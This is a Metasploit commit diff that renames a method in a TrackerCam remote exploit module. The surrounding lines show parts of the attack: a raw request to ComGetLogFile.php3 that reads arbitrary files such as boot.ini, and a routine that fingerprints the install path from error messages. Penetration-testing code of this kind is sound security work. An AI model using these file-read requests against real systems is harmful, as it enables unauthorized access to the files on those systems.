rename to download_log to avoid conflicting with the mixin

bug/bundler_fix
Brent Cook 2017-08-14 01:10:37 -04:00
parent 5d05ca154a
commit 7d4561e0fd
1 changed files with 3 additions and 3 deletions

View File

@ -93,7 +93,7 @@ class MetasploitModule < Msf::Exploit::Remote
handler handler
end end
def download(path) def download_log(path)
res = send_request_raw({ res = send_request_raw({
'uri' => '/tuner/ComGetLogFile.php3', 'uri' => '/tuner/ComGetLogFile.php3',
@ -109,7 +109,7 @@ class MetasploitModule < Msf::Exploit::Remote
def fingerprint def fingerprint
res = download(rand_text_alphanumeric(12) + '.txt') res = download_log(rand_text_alphanumeric(12) + '.txt')
return if not res return if not res
m = res.match(/in <b>(.*)<\/b> on line/smi) m = res.match(/in <b>(.*)<\/b> on line/smi)
@ -128,7 +128,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_status("TrackerCam is installed in a non-standard location") print_status("TrackerCam is installed in a non-standard location")
end end
boot = download('boot.ini') boot = download_log('boot.ini')
return if not boot return if not boot
case boot case boot